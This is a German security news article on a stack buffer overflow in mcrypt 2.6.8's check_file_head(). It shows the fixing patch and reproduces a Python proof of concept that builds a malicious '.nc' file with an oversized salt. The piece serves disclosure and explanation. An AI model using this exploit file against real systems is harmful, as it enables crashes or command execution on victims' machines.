Mcrypt ist der Nachfolger des Crypt-Befehls von Unix, ein einfaches Kommandozeilentool zum Verschlüsseln von Dateien mit verschiedenen Algorithmen. Eine Anfang des Monats entdeckte Sicherheitslücke in Mcrypt hat zur Folge, dass ein entfernter Angreifer Befehle mit den Rechten des Anwenders ausführen kann.
Ursache hierfür ist eine Stack Buffer Overflow, der beim Verarbeiten verschlüsselter Dateien auftritt. Der Programmierfehler befindet sich in der Funktion “check_file_head()” in der Quelltext-Datei “src/extra.c”. Der Overflow lässt sich durch eine “.nc”-Datei mit speziell konstruiertem Header auslösen.
Das Problem tritt beim Verarbeiten des Salts auf, wie das kürzlich veröffentlichte Patch zeigt:
--- mcrypt-2.6.8-1.orig/src/extra.c 2007-11-07 11:10:20.000000000 -0600
+++ mcrypt-2.6.8-1/src/extra.c 2012-09-06 14:45:34.337011563 -0500
@@ -242,6 +242,8 @@ int check_file_head(FILE * fstream, char
if (m_getbit(0, sflag) != 0) { /* if the first bit is set */ *salt_size = m_setbit(0, sflag, 0); if (*salt_size > 0) {
+ if (*salt_size > sizeof(tmp_buf))
+ err_quit(_("Salt is too long\n")); fread(tmp_buf, 1, *salt_size,fstream); memmove(salt, tmp_buf, *salt_size);
Die unkorrigierte Version enthält keine Überprüfung der Salt-Größe, was zum Overflow des “tmp_buf”-Stackspeichers führen kann. Die korrigierte Version fängt dies mit “if()” und “err_quit()” ab, wodurch die Attacke nicht mehr möglich ist, da das Programm bei zu langem Salt nun einfach terminiert. Bei der Arbeit an diesem Patch wurden zufällig auch noch einige bisher unentdeckte Format-String-Schwachstelle in den “err_”-Funktionen entdeckt und korrigiert.
Ein Exploit für die Schwachstelle befindet sich derzeit im Umlauf. Dieser ist sehr simpel: Seine einzige Aufgabe besteht darin, mir Python die speziell präparierte “.nc”-Datei mit einem entsprechenden Header zu erzeugen. Diese Datei löst dann den Buffer Overflow aus und führt die vom Angreifer gewünschten Befehle aus:
#!/usr/bin/env python
# mcrypt <= 2.6.8 stack-based buffer overflow poc
# http://mcrypt.sourceforge.net/
# (the command line tool, not the library)
#
# date: 2012-09-04
# exploit author: _ishikawa
# tested on: ubuntu 12.04.1
# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
#
# shout-outs to all cryptoparty people
import sys
sprawl = 105
gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"
gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"
gibson += chr(sprawl)
gibson += ("A" * sprawl)
gibson += (chr(0) * 3)
try: count0 = open("cyberpunk.nc", "wb") count0.write(gibson) count0.close()
except IOError: print "file error" sys.exit(1)
print "now run mcrypt -d cyberpunk.nc"
Diese wenigen Python-Zeilen erzeugen die “cyberpunk.cn”-Datei. Kann der Angreifer sein Opfer dazu bringen diese via Mcrypt zu entschlüsseln, so kann er Befehle mit den Rechten des Opfers ausführen.
Betroffen sind die Versionen 2.6.8 und älter. Auf Systemen mit “FORTIFY_SOURCE” wird der Overflow abgefangen und führt lediglich zum Absturz der Applikation.

